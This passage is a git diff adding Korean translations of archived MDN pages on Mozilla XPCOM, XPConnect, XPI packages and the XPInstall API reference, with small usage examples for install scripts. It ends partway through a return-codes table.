diff --git a/files/ko/xpcom_interface_reference/index.html b/files/ko/xpcom_interface_reference/index.html
new file mode 100644
index 0000000000..1024805fe6
--- /dev/null
+++ b/files/ko/xpcom_interface_reference/index.html
@@ -0,0 +1,14 @@
+---
+title: XPCOM Interface Reference
+slug: XPCOM_Interface_Reference
+translation_of: Mozilla/Tech/XPCOM/Reference/Interface
+---
+<p>This is a reference to the XPCOM interfaces provided by the Mozilla platform.</p>
+
+<div class="cols-3"><ul><li><a href="/ko/docs/nsICryptoHash">nsICryptoHash</a></li><li><a href="/ko/docs/nsIIdleService">nsIIdleService</a></li><li><a href="/ko/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsILoginManager">nsILoginManager</a></li></ul></div>
+
+<h2 id="See_also" name="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/XPCOM_Interface_Reference_group" title="XPCOM_Interface_Reference_group">Interfaces grouped by function</a></li>
+</ul>
diff --git a/files/ko/xpconnect/index.html b/files/ko/xpconnect/index.html
new file mode 100644
index 0000000000..301a379c07
--- /dev/null
+++ b/files/ko/xpconnect/index.html
@@ -0,0 +1,57 @@
+---
+title: XPConnect
+slug: XPConnect
+tags:
+  - XPConnect
+translation_of: Mozilla/Tech/XPCOM/Language_bindings/XPConnect
+---
+<div>
+<p>XPConnect는 <a href="ko/JavaScript">JavaScript</a>와 <a href="ko/XPCOM">XPCOM</a> 사이에서 연결해줍니다. XPConnect를 사용하여 JavaScript 코드에서 XPCOM 컴포넌트를 사용할 수 있고 XPCOM 컴포넌트 내의 JavaScript 객체와 상호 작용할 수 있습니다.
+</p>
+</div>
+<table class="topicpage-table">
+<tbody><tr><td>
+<h4 id=".EB.AC.B8.EC.84.9C" name=".EB.AC.B8.EC.84.9C"> <a>문서</a> </h4>
+<dl><dt> <a href="ko/XPConnect/Architecture_basics">XPConnect:Architecture basics</a>
+</dt><dd> <small>XPConnect, JavaScript, XPCOM, XUL...</small>
+</dd></dl>
+<dl><dt> <a href="ko/XPConnect/Using_components">XPConnect:Using components</a>
+</dt><dd> <small>XPCOM 컴포넌트와 통신하는 법.</small>
+</dd></dl>
+<dl><dt> <a class="external" href="http://www.mozilla.org/scriptable/faq.html">XPConnect와 XPIDL FAQ</a>
+</dt></dl>
+<p><span class="alllinks"><a>View All...</a></span>
+</p>
+<h4 id=".EC.98.88.EC.A0.9C" name=".EC.98.88.EC.A0.9C"> 예제 </h4>
+<dl><dt> <a href="ko/NsIEnumerator">nsIEnumerator</a>
+</dt><dd> <small>열거가 끝났을 때를 어떻게 아나요?</small>
+</dd></dl>
+<dl><dt> <a href="ko/XPConnect/nsIRegistry">XPConnect:nsIRegistry</a>
+</dt><dd> <small><a href="ko/Appreg">appreg</a> 나타내기.</small>
+</dd></dl>
+<dl><dt> <a href="ko/XPConnect/nsIProfile">XPConnect:nsIProfile</a>
+</dt><dd> <small>프로필 생성, 이름 변경, 삭제, 나열하기.</small>
+</dd></dl>
+<dl><dt> <a href="ko/XPConnect/appShellService">XPConnect:appShellService</a>
+</dt><dd> <small>XPConnect에서 Mozilla를 끝낼 수도 있습니다.</small>
+</dd></dl>
+<p><span class="alllinks"><a>View All...</a></span>
+</p>
+</td>
+<td>
+<h4 id=".EC.BB.A4.EB.AE.A4.EB.8B.88.ED.8B.B0" name=".EC.BB.A4.EB.AE.A4.EB.8B.88.ED.8B.B0"> 커뮤니티 </h4>
+<ul><li> Mozilla 포럼 보기...
+</li></ul>
+<p>{{ DiscussionList("dev-tech-xpcom", "mozilla.dev.tech.xpcom") }}
+</p>
+<h4 id=".EB.8F.84.EA.B5.AC" name=".EB.8F.84.EA.B5.AC"> 도구 </h4>
+<ul><li> <a href="ko/Xpcshell">xpcshell</a>
+</li></ul>
+<h4 id=".EA.B4.80.EB.A0.A8_.EC.A3.BC.EC.A0.9C" name=".EA.B4.80.EB.A0.A8_.EC.A3.BC.EC.A0.9C"> 관련 주제 </h4>
+<dl><dd> <a href="ko/XPCOM">XPCOM</a>, <a href="ko/JavaScript">JavaScript</a>
+</dd></dl>
+</td></tr></tbody></table>
+<p><span class="comment">Categories</span>
+</p><p><span class="comment">Interwiki Language Links</span>
+</p><p><br>
+</p>{{ languages( { "en": "en/XPConnect", "fr": "fr/XPConnect", "ja": "ja/XPConnect", "pl": "pl/XPConnect" } ) }}
diff --git a/files/ko/xpconnect/using_components/index.html b/files/ko/xpconnect/using_components/index.html
new file mode 100644
index 0000000000..a54d48deae
--- /dev/null
+++ b/files/ko/xpconnect/using_components/index.html
@@ -0,0 +1,17 @@
+---
+title: Using components
+slug: XPConnect/Using_components
+translation_of: Mozilla/Tech/XPCOM/Language_bindings/XPConnect/Using_components
+---
+<p><a href="/en/XPConnect" style="text-decoration: none; color: rgb(4, 137, 183) !important; cursor: default;" title="en/XPConnect">XPConnect</a>은 모질라와 <a href="/en/XPConnect/xpcshell" style="text-decoration: none; color: rgb(4, 137, 183) !important; cursor: default;" title="en/XPConnect/xpcshell">xpcshell</a>에서 <a href="/en/XPCOM" style="text-decoration: none; color: rgb(4, 137, 183) !important; cursor: default;" title="en/XPCOM">XPCOM</a> 콤포넌트에 투명하게 접근할 수 있도록 해줍니다.</p>
+<p>일반적으로 스크립트는 다음과 같이 시작합니다 :</p>
+<pre>var Cc = <a style="text-decoration: none; color: rgb(4, 137, 183) !important; cursor: default;" title="en/Components.classes">Components.classes</a>;
+var Ci = <a style="text-decoration: none; color: rgb(4, 137, 183) !important; cursor: default;" title="en/Components.interfaces">Components.interfaces</a>;
+</pre>
+<p>콤포넌트에 대한 연결을 가지고 있으려면, 다음과 같이 합니다 :</p>
+<pre>var rc = Cc["@mozilla.org/registry;1"]; var rs = rc.getService(Ci.nsIRegistry);</pre>
+<hr>
+<p>See also :</p>
+<ul>
+ <li><a href="/en/XPConnect/xpcshell" style="text-decoration: none; color: rgb(4, 137, 183) !important; cursor: default;" title="en/XPConnect/xpcshell">xpcshell</a> -- 자바스크립트를 위한 커맨드라인 환경</li>
+</ul>
diff --git a/files/ko/xpi/index.html b/files/ko/xpi/index.html
new file mode 100644
index 0000000000..bb3b41b491
--- /dev/null
+++ b/files/ko/xpi/index.html
@@ -0,0 +1,17 @@
+---
+title: XPI
+slug: XPI
+tags:
+  - Toolkit API
+  - XPInstall
+translation_of: Mozilla/XPI
+---
+<p><b><abbr title="Cross-Platform Installer Module">XPI</abbr></b>("zippy"로 소리 냄)는 꾸러미(package)를 설치하고, <a href="ko/XPInstall">XPInstall</a> 기술을 이용하는데 쓰는 ZIP 파일입니다. XPI 모듈(이른바 "<a href="ko/Bundles">Bundles</a>")은 <a href="ko/Plugins"> 플러그인</a>, <a href="ko/Extensions"> 확장기능</a>, <a href="ko/Themes"> 테마</a>, <a class="external" href="http://www.mozilla.com/thunderbird/dictionaries.html">Thunderbird dictionaries</a>을 포함한 갖가지 소프트웨어를 설치하는데 씁니다.</p>
+<p>XPI는 흔히 JAR 파일로 꾸리는 설치할 실제 소프트웨어뿐만 아니라 설치 명령(install.js나 <a href="ko/Install.rdf">install.rdf</a>)을 담고 있습니다. 확장기능 관리자로 내려받을 때, XPInstall은 자동으로 XPI에 담고 있는 설치 명령과 의사 소통하고 담긴 소프트웨어를 설치합니다.</p>
+<h3 id=".EA.B0.99.EC.9D.B4_.EB.B3.B4.EA.B8.B0" name=".EA.B0.99.EC.9D.B4_.EB.B3.B4.EA.B8.B0">같이 보기</h3>
+<ul>
+ <li><a href="ko/Bundles">Bundles</a></li>
+ <li><a href="ko/XPInstall">XPInstall</a></li>
+ <li><a href="ko/Creating_XPI_Installer_Modules">XPI Installer 모듈 만들기</a></li>
+</ul>
+<p>{{ languages( { "en": "en/XPI", "fr": "fr/XPI", "it": "it/XPI", "pl": "pl/XPI", "ja": "ja/XPI" } ) }}</p>
diff --git a/files/ko/xpinstall/index.html b/files/ko/xpinstall/index.html
new file mode 100644
index 0000000000..d7e0ba0de2
--- /dev/null
+++ b/files/ko/xpinstall/index.html
@@ -0,0 +1,65 @@
+---
+title: XPInstall
+slug: XPInstall
+tags:
+  - XPInstall
+translation_of: Archive/Mozilla/XPInstall
+---
+<div>
+ <b>Cross-Platform Install (XPInstall)</b>는 Mozilla 어플리케이션 수트, Mozilla Firefox, Mozilla Thunderbird, 다른 <a href="ko/XUL">XUL</a>에 기반을 둔 어플리케이션이 <a href="ko/Extensions">확장기능</a>을 설치하기 위해 쓰는 기술입니다. <a href="ko/XPI">XPI</a> ("zippy"로 발음하고 XPInstall에서 파생된) 인스톨러 모듈은 파일 루트에 설치 스크립트나 매니페스트(install.js나 install.rdf로 이름 붙인)를 포함하는 ZIP 파일입니다.</div>
+<table class="topicpage-table">
+ <tbody>
+  <tr>
+   <td>
+    <h4 id="Documentation" name="Documentation"><a>Documentation</a></h4>
+    <dl>
+     <dt>
+      <a href="ko/XPInstall_API_Reference">XPInstall API Reference</a></dt>
+    </dl>
+    <dl>
+     <dt>
+      <a href="ko/Learn_XPI_Installer_Scripting_by_Example">Learn XPI Installer Scripting by Example</a></dt>
+     <dd>
+      <small>이 문서는 XPI 설치 일반을 논의하기 위한 근거로 <code>browser.xpi</code> 설치 패키지의 인스톨러 스크립트를 씁니다.</small></dd>
+    </dl>
+    <dl>
+     <dt>
+      <a class="external" href="http://www.mozilla.org/projects/xpinstall/win_xpi.html">How to add an installer module to the Windows installer</a></dt>
+     <dd>
+      <small>인스톨러 모듈은 <a href="ko/XPI">XPI</a>의 루트에 설치 스크립트(install.js로 이름 붙인)를 포함하는 <a class="external" href="http://www.info-zip.org/">Phil Katz zip format</a>으로 된 패키지입니다. 패키지는 파일과 파일/디렉토리 추가, 이전 혹은 안 쓰이는(obsolete) 파일/디렉토리 삭제, 명령줄 도구 실행들을 포함하는 설치 도중 취하는 동작을 위한 자바스크립트 지시어(directive)를 포함하는 설치 스크립트를 포함합니다.</small></dd>
+    </dl>
+    <dl>
+     <dt>
+      <a href="ko/Creating_XPI_Installer_Modules">Creating XPI Installer Modules</a></dt>
+     <dd>
+      <small>이 문서는 Mozilla의 패키징 계획(scheme)을 설명하고 재배포와 설치가 가능하고 사용자가 쓸 수 있는 새 패키지를 만드는 법을 다루는 입문서를 제공합니다.</small></dd>
+    </dl>
+    <dl>
+     <dt>
+      <a href="ko/Install_Wizards_(aka/Stub_Installers)">Install Wizards (aka: Stub Installers)</a></dt>
+    </dl>
+    <p><span class="alllinks"><a>View All...</a></span></p>
+   </td>
+   <td>
+    <h4 id=".EC.BB.A4.EB.AE.A4.EB.8B.88.ED.8B.B0" name=".EC.BB.A4.EB.AE.A4.EB.8B.88.ED.8B.B0">커뮤니티</h4>
+    <ul>
+     <li>Mozilla 포럼 보기...</li>
+    </ul>
+    <p>{{ DiscussionList("dev-platform", "mozilla.dev.platform") }}</p>
+    <h4 id=".EB.8F.84.EA.B5.AC" name=".EB.8F.84.EA.B5.AC">도구</h4>
+    <ul>
+     <li><a class="external" href="http://www.mozilla.org/quality/smartupdate/xpinstall-trigger.html">XPInstall trigger page</a></li>
+    </ul>
+    <h4 id=".EA.B4.80.EB.A0.A8_.EC.A3.BC.EC.A0.9C" name=".EA.B4.80.EB.A0.A8_.EC.A3.BC.EC.A0.9C">관련 주제</h4>
+    <dl>
+     <dd>
+      <a href="ko/Extensions">Extensions</a>, <a href="ko/XUL">XUL</a>, <a href="ko/XPI">XPI</a></dd>
+    </dl>
+   </td>
+  </tr>
+ </tbody>
+</table>
+<p><span class="comment">Categories</span></p>
+<p><span class="comment">Interwiki Language Links</span></p>
+<p> </p>
+<p>{{ languages( { "en": "en/XPInstall" } ) }}</p>
diff --git a/files/ko/xpinstall_api_reference/index.html b/files/ko/xpinstall_api_reference/index.html
new file mode 100644
index 0000000000..afecb1f01c
--- /dev/null
+++ b/files/ko/xpinstall_api_reference/index.html
@@ -0,0 +1,261 @@
+---
+title: XPInstall API Reference
+slug: XPInstall_API_Reference
+tags:
+  - XPInstall
+translation_of: Archive/Mozilla/XPInstall/Reference
+---
+<h2 id="XPInstall_API_.EC.B0.B8.EC.A1.B0" name="XPInstall_API_.EC.B0.B8.EC.A1.B0">XPInstall API 참조</h2>
+<h3 id="Objects" name="Objects">Objects</h3>
+<h4 id="Install" name="Install"><a href="ko/XPInstall_API_Reference/Install_Object">Install</a></h4>
+<dl>
+ <dd>
+  <a href="ko/XPInstall_API_Reference/Install_Object/Properties">Properties</a></dd>
+ <dd>
+  <a href="ko/XPInstall_API_Reference/Install_Object/Methods">Methods</a></dd>
+</dl>
+<dl>
+ <dd>
+  <dl>
+   <dd>
+    <a href="ko/XPInstall_API_Reference/Install_Object/Methods/addDirectory">addDirectory</a></dd>
+   <dd>
+    <a href="ko/XPInstall_API_Reference/Install_Object/Methods/addFile">addFile</a></dd>
+   <dd>
+    <a href="ko/XPInstall_API_Reference/Install_Object/Methods/alert">alert</a></dd>
+   <dd>
+    <a href="ko/XPInstall_API_Reference/Install_Object/Methods/cancelInstall">cancelInstall</a></dd>
+   <dd>
+    <a href="ko/XPInstall_API_Reference/Install_Object/Methods/confirm">confirm</a></dd>
+   <dd>
+    <a href="ko/XPInstall_API_Reference/Install_Object/Methods/deleteRegisteredFile">deleteRegisteredFile</a></dd>
+   <dd>
+    <a href="ko/XPInstall_API_Reference/Install_Object/Methods/execute">execute</a></dd>
+   <dd>
+    <a href="ko/XPInstall_API_Reference/Install_Object/Methods/gestalt">gestalt</a></dd>
+   <dd>
+    <a href="ko/XPInstall_API_Reference/Install_Object/Methods/getComponentFolder">getComponentFolder</a></dd>
+   <dd>
+    <a href="ko/XPInstall_API_Reference/Install_Object/Methods/getFolder">getFolder</a></dd>
+   <dd>
+    <a href="ko/XPInstall_API_Reference/Install_Object/Methods/getLastError">getLastError</a></dd>
+   <dd>
+    <a href="ko/XPInstall_API_Reference/Install_Object/Methods/getWinProfile">getWinProfile</a></dd>
+   <dd>
+    <a href="ko/XPInstall_API_Reference/Install_Object/Methods/getWinRegistry">getWinRegistry</a></dd>
+   <dd>
+    <a href="ko/XPInstall_API_Reference/Install_Object/Methods/initInstall">initInstall</a></dd>
+   <dd>
+    <a href="ko/XPInstall_API_Reference/Install_Object/Methods/loadResources">loadResources</a></dd>
+   <dd>
+    <a href="ko/XPInstall_API_Reference/Install_Object/Methods/logComment">logComment</a></dd>
+   <dd>
+    <a href="ko/XPInstall_API_Reference/Install_Object/Methods/patch">patch</a></dd>
+   <dd>
+    <a href="ko/XPInstall_API_Reference/Install_Object/Methods/performInstall">performInstall</a></dd>
+   <dd>
+    <a href="ko/XPInstall_API_Reference/Install_Object/Methods/refreshPlugins">refreshPlugins</a></dd>
+   <dd>
+    <a href="ko/XPInstall_API_Reference/Install_Object/Methods/registerChrome">registerChrome</a></dd>
+   <dd>
+    <a href="ko/XPInstall_API_Reference/Install_Object/Methods/resetError">resetError</a></dd>
+   <dd>
+    <a href="ko/XPInstall_API_Reference/Install_Object/Methods/setPackageFolder">setPackageFolder</a></dd>
+  </dl>
+ </dd>
+</dl>
+<h4 id="InstallTrigger" name="InstallTrigger"><a href="ko/XPInstall_API_Reference/InstallTrigger_Object">InstallTrigger</a></h4>
+<dl>
+ <dd>
+  <i>
+   속성은 존재하지 않습니다.</i>
+ </dd>
+ <dd>
+  <a href="ko/XPInstall_API_Reference/InstallTrigger_Object/Methods">Methods</a></dd>
+</dl>
+<dl>
+ <dd>
+  <dl>
+   <dd>
+    <a href="ko/XPInstall_API_Reference/InstallTrigger_Object/Methods/compareVersion">compareVersion</a></dd>
+   <dd>
+    <a href="ko/XPInstall_API_Reference/InstallTrigger_Object/Methods/enabled">enabled</a></dd>
+   <dd>
+    <a href="ko/XPInstall_API_Reference/InstallTrigger_Object/Methods/getVersion">getVersion</a></dd>
+   <dd>
+    <a href="ko/XPInstall_API_Reference/InstallTrigger_Object/Methods/install">install</a></dd>
+   <dd>
+    <a href="ko/XPInstall_API_Reference/InstallTrigger_Object/Methods/installChrome">installChrome</a></dd>
+   <dd>
+    <a href="ko/XPInstall_API_Reference/InstallTrigger_Object/Methods/startSoftwareUpdate">startSoftwareUpdate</a></dd>
+  </dl>
+ </dd>
+</dl>
+<h4 id="InstallVersion" name="InstallVersion"><a href="ko/XPInstall_API_Reference/InstallVersion_Object">InstallVersion</a></h4>
+<dl>
+ <dd>
+  <a href="ko/XPInstall_API_Reference/InstallVersion_Object/Properties">Properties</a></dd>
+ <dd>
+  <a href="ko/XPInstall_API_Reference/InstallVersion_Object/Methods">Methods</a></dd>
+</dl>
+<dl>
+ <dd>
+  <dl>
+   <dd>
+    <a href="ko/XPInstall_API_Reference/InstallVersion_Object/Methods/compareTo">compareTo</a></dd>
+   <dd>
+    <a href="ko/XPInstall_API_Reference/InstallVersion_Object/Methods/init">init</a></dd>
+   <dd>
+    <a href="ko/XPInstall_API_Reference/InstallVersion_Object/Methods/toString">toString</a></dd>
+  </dl>
+ </dd>
+</dl>
+<h4 id="File" name="File"><a href="ko/XPInstall_API_Reference/File_Object">File</a></h4>
+<dl>
+ <dd>
+  <i>
+   속성은 존재하지 않습니다.</i>
+ </dd>
+ <dd>
+  <a href="ko/XPInstall_API_Reference/File_Object/Methods">Methods</a></dd>
+</dl>
+<dl>
+ <dd>
+  <dl>
+   <dd>
+    <a href="ko/XPInstall_API_Reference/File_Object/Methods/copy">copy</a></dd>
+   <dd>
+    <a href="ko/XPInstall_API_Reference/File_Object/Methods/dirCreate">dirCreate</a></dd>
+   <dd>
+    <a href="ko/XPInstall_API_Reference/File_Object/Methods/dirGetParent">dirGetParent</a></dd>
+   <dd>
+    <a href="ko/XPInstall_API_Reference/File_Object/Methods/dirRemove">dirRemove</a></dd>
+   <dd>
+    <a href="ko/XPInstall_API_Reference/File_Object/Methods/dirRename">dirRename</a></dd>
+   <dd>
+    <a href="ko/XPInstall_API_Reference/File_Object/Methods/diskSpaceAvailable">diskSpaceAvailable</a></dd>
+   <dd>
+    <a href="ko/XPInstall_API_Reference/File_Object/Methods/execute">execute</a></dd>
+   <dd>
+    <a href="ko/XPInstall_API_Reference/File_Object/Methods/exists">exists</a></dd>
+   <dd>
+    <a href="ko/XPInstall_API_Reference/File_Object/Methods/isDirectory">isDirectory</a></dd>
+   <dd>
+    <a href="ko/XPInstall_API_Reference/File_Object/Methods/isFile">isFile</a></dd>
+   <dd>
+    <a href="ko/XPInstall_API_Reference/File_Object/Methods/macAlias">macAlias</a></dd>
+   <dd>
+    <a href="ko/XPInstall_API_Reference/File_Object/Methods/modDate">modDate</a></dd>
+   <dd>
+    <a href="ko/XPInstall_API_Reference/File_Object/Methods/modDateChanged">modDateChanged</a></dd>
+   <dd>
+    <a href="ko/XPInstall_API_Reference/File_Object/Methods/move">move</a></dd>
+   <dd>
+    <a href="ko/XPInstall_API_Reference/File_Object/Methods/remove">remove</a></dd>
+   <dd>
+    <a href="ko/XPInstall_API_Reference/File_Object/Methods/rename">rename</a></dd>
+   <dd>
+    <a href="ko/XPInstall_API_Reference/File_Object/Methods/size">size</a></dd>
+   <dd>
+    <a href="ko/XPInstall_API_Reference/File_Object/Methods/windowsGetShortName">windowsGetShortName</a></dd>
+   <dd>
+    <a href="ko/XPInstall_API_Reference/File_Object/Methods/windowsRegisterServer">windowsRegisterServer</a></dd>
+   <dd>
+    <a href="ko/XPInstall_API_Reference/File_Object/Methods/windowsShortcut">windowsShortcut</a></dd>
+  </dl>
+ </dd>
+</dl>
+<h4 id="WinProfile" name="WinProfile"><a href="ko/XPInstall_API_Reference/WinProfile_Object">WinProfile</a></h4>
+<dl>
+ <dd>
+  <i>
+   속성은 존재하지 않습니다.</i>
+ </dd>
+ <dd>
+  <a href="ko/XPInstall_API_Reference/WinProfile_Object/Methods">Methods</a></dd>
+</dl>
+<dl>
+ <dd>
+  <dl>
+   <dd>
+    <a href="ko/XPInstall_API_Reference/WinProfile_Object/Methods/getString">getString</a></dd>
+   <dd>
+    <a href="ko/XPInstall_API_Reference/WinProfile_Object/Methods/writeString">writeString</a></dd>
+  </dl>
+ </dd>
+</dl>
+<h4 id="WinReg" name="WinReg"><a href="ko/XPInstall_API_Reference/WinReg_Object">WinReg</a></h4>
+<dl>
+ <dd>
+  <i>
+   속성은 존재하지 않습니다.</i>
+ </dd>
+ <dd>
+  <a href="ko/XPInstall_API_Reference/WinReg_Object/Methods">Methods</a></dd>
+</dl>
+<dl>
+ <dd>
+  <dl>
+   <dd>
+    <a href="ko/XPInstall_API_Reference/WinReg_Object/Methods/createKey">createKey</a></dd>
+   <dd>
+    <a href="ko/XPInstall_API_Reference/WinReg_Object/Methods/deleteKey">deleteKey</a></dd>
+   <dd>
+    <a href="ko/XPInstall_API_Reference/WinReg_Object/Methods/deleteValue">deleteValue</a></dd>
+   <dd>
+    <a href="ko/XPInstall_API_Reference/WinReg_Object/Methods/enumKeys">enumKeys</a></dd>
+   <dd>
+    <a href="ko/XPInstall_API_Reference/WinReg_Object/Methods/enumValueNames">enumValueNames</a></dd>
+   <dd>
+    <a href="ko/XPInstall_API_Reference/WinReg_Object/Methods/getValue">getValue</a></dd>
+   <dd>
+    <a href="ko/XPInstall_API_Reference/WinReg_Object/Methods/getValueNumber">getValueNumber</a></dd>
+   <dd>
+    <a href="ko/XPInstall_API_Reference/WinReg_Object/Methods/getValueString">getValueString</a></dd>
+   <dd>
+    <a href="ko/XPInstall_API_Reference/WinReg_Object/Methods/isKeyWritable">isKeyWritable</a></dd>
+   <dd>
+    <a href="ko/XPInstall_API_Reference/WinReg_Object/Methods/keyExists">keyExists</a></dd>
+   <dd>
+    <a href="ko/XPInstall_API_Reference/WinReg_Object/Methods/setRootKey">setRootKey</a></dd>
+   <dd>
+    <a href="ko/XPInstall_API_Reference/WinReg_Object/Methods/setValue">setValue</a></dd>
+   <dd>
+    <a href="ko/XPInstall_API_Reference/WinReg_Object/Methods/setValueNumber">setValueNumber</a></dd>
+   <dd>
+    <a href="ko/XPInstall_API_Reference/WinReg_Object/Methods/setValueString">setValueString</a></dd>
+   <dd>
+    <a href="ko/XPInstall_API_Reference/WinReg_Object/Methods/valueExists">valueExists</a></dd>
+  </dl>
+ </dd>
+</dl>
+<dl>
+ <dd>
+  <a href="ko/XPInstall_API_Reference/WinReg_Object/WinRegValue">WinRegValue constructor</a></dd>
+</dl>
+<h3 id=".EA.B8.B0.ED.83.80_.EC.A0.95.EB.B3.B4" name=".EA.B8.B0.ED.83.80_.EC.A0.95.EB.B3.B4">기타 정보</h3>
+<h4 id=".EB.B0.98.ED.99.98_.EC.BD.94.EB.93.9C.EB.93.A4" name=".EB.B0.98.ED.99.98_.EC.BD.94.EB.93.9C.EB.93.A4">반환 코드들</h4>
+<p><a href="ko/XPInstall_API_Reference/%eb%b0%98%ed%99%98_%ec%bd%94%eb%93%9c%eb%93%a4">반환 코드에 대한 리스트 보기</a></p>
+<h4 id=".EC.98.88.EC.A0.9C" name=".EC.98.88.EC.A0.9C"><a href="ko/XPInstall_API_Reference/Examples">예제</a></h4>
+<dl>
+ <dd>
+  <a href="ko/XPInstall_API_Reference/Examples/Trigger_Scripts_and_Install_Scripts">트리거 스크립트들과 설치 스크립트들</a></dd>
+</dl>
+<h5 id=".EC.98.88.EC.A0.9C_.EC.BD.94.EB.93.9C.EB.93.A4" name=".EC.98.88.EC.A0.9C_.EC.BD.94.EB.93.9C.EB.93.A4">예제 코드들</h5>
+<dl>
+ <dd>
+  <a href="ko/XPInstall_API_Reference/Examples/File.macAlias">File.macAlias</a></dd>
+ <dd>
+  <a href="ko/XPInstall_API_Reference/Examples/File.windowsShortcut">File.windowsShortcut</a></dd>
+ <dd>
+  <a href="ko/XPInstall_API_Reference/Examples/Install.addDirectory">Install.addDirectory</a></dd>
+ <dd>
+  <a href="ko/XPInstall_API_Reference/Examples/Install.addFile">Install.addFile</a></dd>
+ <dd>
+  <a href="ko/XPInstall_API_Reference/Examples/InstallTrigger.installChrome">InstallTrigger.installChrome</a></dd>
+ <dd>
+  <a href="ko/XPInstall_API_Reference/Examples/InstallTrigger.startSoftwareUpdate">InstallTrigger.startSoftwareUpdate</a></dd>
+ <dd>
+  <a href="ko/XPInstall_API_Reference/Examples/Windows_Install">Windows Install</a></dd>
+</dl>
+<p>{{ languages( { "ja": "ja/XPInstall_API_Reference" } ) }}</p>
diff --git a/files/ko/xpinstall_api_reference/install_object/index.html b/files/ko/xpinstall_api_reference/install_object/index.html
new file mode 100644
index 0000000000..aaac8818a7
--- /dev/null
+++ b/files/ko/xpinstall_api_reference/install_object/index.html
@@ -0,0 +1,35 @@
+---
+title: Install Object
+slug: XPInstall_API_Reference/Install_Object
+translation_of: Archive/Mozilla/XPInstall/Reference/Install_Object
+---
+<h3 id=".EA.B0.9C.EC.9A.94" name=".EA.B0.9C.EC.9A.94">개요</h3>
+<p>The Install object 는 설치 스크립트들에서 우선적으로 사용되어 집니다. 어떤 경우든, <code>Install</code> object는 맹목적이고--일반적인 웹 페이지 스크립트의 <code>window</code> object 같이-- object methods를 앞에 쓸 필요도 없습니다. 예를 들어 아래 두줄은 동등한 결과를 나타냅니다.</p>
+<pre>f = getFolder("Program");
+f = Install.getFolder("Program");
+</pre>
+<p>설치 스크립트는 Install object를 호출함으로써 구성되어지며, 일반적으로 아래와 같은 형식을 가집니다.</p>
+<dl>
+ <dt>
+  설치 초기화 하기</dt>
+ <dd>
+  설치를 위한 이름, 필요한 레지스트리, 그리고 버젼 정보로 <a href="ko/XPInstall_API_Reference/Install_Object/Methods/initInstall"> initInstall</a>를 호출하세요.</dd>
+ <dt>
+  설치할 파일을 추가하기</dt>
+ <dd>
+  <a href="ko/XPInstall_API_Reference/Install_Object/Methods/getFolder">getFolder</a>를 호출하여 file objects를 얻고, <a href="ko/XPInstall_API_Reference/Install_Object/Methods/addFile"> addFile</a>를 필요한 만큼 호출하여 그것들의 object refs를 넘겨주어 파일들을 추가합니다.</dd>
+ <dt>
+  설치를 실행하기</dt>
+ <dd>
+  성공적으로 파일들이 추가되었는지 확인하시고 (e.g., 주 설치 메소드들로부터 <a href="ko/XPInstall_API_Reference/Return_Codes"> Return Codes</a> 코드를 확인), 만약 모든 것들이 정상적이라면 설치를 진행하십시요.</dd>
+</dl>
+<pre>performOrCancel();
+function performOrCancel()
+{
+  if (0 == getLastError())
+     performInstall();
+   else
+     cancelInstall();
+}
+</pre>
+<p>완벽한 스크립트 예제를 원한다면, <a href="ko/XPInstall_API_Reference/Examples"> Script Examples</a>를 참조하세요..</p>
diff --git a/files/ko/xpinstall_api_reference/install_object/properties/index.html b/files/ko/xpinstall_api_reference/install_object/properties/index.html
new file mode 100644
index 0000000000..172f020f09
--- /dev/null
+++ b/files/ko/xpinstall_api_reference/install_object/properties/index.html
@@ -0,0 +1,32 @@
+---
+title: Properties
+slug: XPInstall_API_Reference/Install_Object/Properties
+translation_of: Archive/Mozilla/XPInstall/Reference/Install_Object/Properties
+---
+<h3 id="Properties" name="Properties">Properties</h3>
+<dl>
+ <dt>
+  <code>보관소</code></dt>
+ <dd>
+  플렛폼에서 지정한 임시 폴더에 내려받은 후 보관소의 전체 지역 경로(e.g. <code>C:\TEMP\argstest.xpi</code>)</dd>
+ <dt>
+  <code>인수들</code></dt>
+ <dd>
+  인수들은 xpi URL에 "?"와 필요한 스크링을 추가하여 제어(?triggering) APIs를 통해 전달할 수 있다:(e.g. <code>startSoftwareUpdate(<span class="nowiki">"http://webserver/argstest.xpi?ARGUMENT_STRING"</span>)</code>는 <code>ARGUMENT_STRING</code> #의 <code>Install.arguments</code>의 값이 될 것이다.) arg 스트링에서의 공백은 규율임을 주의하라. "?"이후의 모든 문자들은 <code>Install.arguments</code>의 하나의 문자로 간주된다.</dd>
+ <dt>
+  <code>buildID</code></dt>
+ <dd>
+  The application build ID in the form 20041231. Note that due to branching (different versions of Gecko with different feature sets might be built on the same day), using this property to "detect" the application version may produce false results. Additionally, the build ID can be 0 for custom builds.</dd>
+ <dt>
+  <code>jarfile</code></dt>
+ <dd>
+  Alias for <code>archive</code></dd>
+ <dt>
+  <code>platform</code></dt>
+ <dd>
+  Contains information about the platform XPInstall was compiled for/runs on. For example, the value could begin with "Windows", "Macintosh" or "X11" (for Unix/Linux). For more details, see the corresponding code living in the <a class="external" href="http://lxr.mozilla.org/mozilla/ident?i=GetInstallPlatform">GetInstallPlatform method of class nsInstall</a>.</dd>
+ <dt>
+  <code>url</code></dt>
+ <dd>
+  The fully qualified URL of the xpi (file URL, http URL, ftp URL, etc.) (e.g. <code><span class="nowiki">http://dolfin/sgehani/zzz/ip.xpi</span></code>). Note, even if triggered using relative URLs this will show the full URL (after qualification).</dd>
+</dl>
diff --git a/files/ko/xpinstall_api_reference/return_codes/index.html b/files/ko/xpinstall_api_reference/return_codes/index.html
new file mode 100644
index 0000000000..bc9bd27425
--- /dev/null
+++ b/files/ko/xpinstall_api_reference/return_codes/index.html
@@ -0,0 +1,268 @@
+---
+title: Return Codes
+slug: XPInstall_API_Reference/Return_Codes
+translation_of: Archive/Mozilla/XPInstall/Reference/Return_Codes
+---
+<h2 id=".EB.B0.98.ED.99.98_.EC.BD.94.EB.93.9C.EB.93.A4" name=".EB.B0.98.ED.99.98_.EC.BD.94.EB.93.9C.EB.93.A4">반환 코드들</h2>
+<p>이 장에서 설명된 메소드들은 아래 반환 값들의 어떤 것이든 반환할 수 있습니다. 이 내용들은 Mozilla/SeaMonkey안에서 xpinstall object(예전 Netscape Communicator 4.5에 있던 SoftwareUpdate object와 같은)의 한 부분으로 정의되어 있습니다.</p>
+<p>불규칙적인 내용은 이곳에 기록하십시요.</p>
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <td class="header">이름</td>
+   <td class="header">코드</td>
+   <td class="header">설명</td>
+  </tr>
+  <tr>
+   <td><code>SUCCESS</code></td>
